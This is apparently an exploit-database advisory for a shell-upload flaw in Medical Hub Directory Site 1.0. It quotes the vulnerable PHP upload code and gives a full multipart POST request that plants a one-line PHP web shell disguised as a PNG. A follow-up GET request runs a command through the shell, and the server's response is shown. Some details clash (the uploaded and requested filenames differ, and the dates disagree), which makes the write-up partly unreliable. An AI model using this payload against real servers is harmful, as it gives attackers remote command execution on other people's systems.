Medical Hub Directory Site 1.0 Shell Upload

# Title: Medical Hub Directory Site  1.0  Shell Upload
# Author: Hejap Zairy
# Date: 30.07.2022
# Vendor: https://www.sourcecodester.com/php/15252/simple-medical-hub-directory-site-phpoop-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/mhds.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw


#vulnerability Code  php
Needs more filtering to upload profile files

php```
$img_err= "";
    if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
      $fname = 'uploads/system-logo.png';
      $dir_path =base_app. $fname;
      $upload = $_FILES['img']['tmp_name'];
      $type = mime_content_type($upload);
      $allowed = array('image/png','image/jpeg');
      if(!in_array($type,$allowed)){
        $img_err.=" But Logo Image failed to upload due to invalid file type.";
      }else{
        // $new_height = 200; 
        // $new_width = 200; 

        list($width, $height) = getimagesize($upload);
        $t_image = imagecreatetruecolor($width, $height);
        $black = imagecolorallocate($t_image, 0, 0, 0);
        imagecolortransparent($t_image, $black);
        imagealphablending( $t_image, false );
        imagesavealpha( $t_image, true );
        $gdImg = ($type == 'image/png')? imagecreatefrompng($upload) : imagecreatefromjpeg($upload);
        imagecopyresampled($t_image, $gdImg, 0, 0, 0, 0, $width, $height, $width, $height);
        if($gdImg){
            if(is_file($dir_path))
            unlink($dir_path);
            $uploaded_img = imagepng($t_image,$dir_path);
            if($uploaded_img){
              if(isset($_SESSION['system_info']['logo'])){
                $qry = $this->conn->query("UPDATE system_info set meta_value = CONCAT('{$fname}','?v=',unix_timestamp(CURRENT_TIMESTAMP)) where meta_field = 'logo' ");
              }else{
                $qry = $this->conn->query("INSERT into system_info set meta_value =  CONCAT('{$fname}','?v=',unix_timestamp(CURRENT_TIMESTAMP)),meta_field = 'logo' ");
              }
            }
            imagedestroy($gdImg);
            imagedestroy($t_image);
        }else{
        $img_err.=" But Logo Image failed to upload due to unkown reason.";
        }
      }
    }
```


[+] Payload POST


```
POST /mhds/admin/?page=manage_account HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/mhds/
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

<?=`$_GET[515]`?>

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="submit"
-----------------------------409902128312379197203124536738--
```


#Status: CRITICAL

[+] Payload GET

```
GET /mhds/uploads/users/0day_hejap.png.php?515=echo+Hejap+Zairy HTTP/1.1

Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41
Upgrade-Insecure-Requests: 1




```

#Response 
```
HTTP/1.1 200 OK
Date: Thu, 30 Mar 2022 11:15:56 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 12
Connection: close
Content-Type: text/html; charset=UTF-8

Hejap Zairy
```


# Description:
The file upload  bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.


# Proof and Exploit:
https://i.imgur.com/N9rKLB4.png
https://i.imgur.com/CrpqRox.png
https://i.imgur.com/Un1sM4Q.png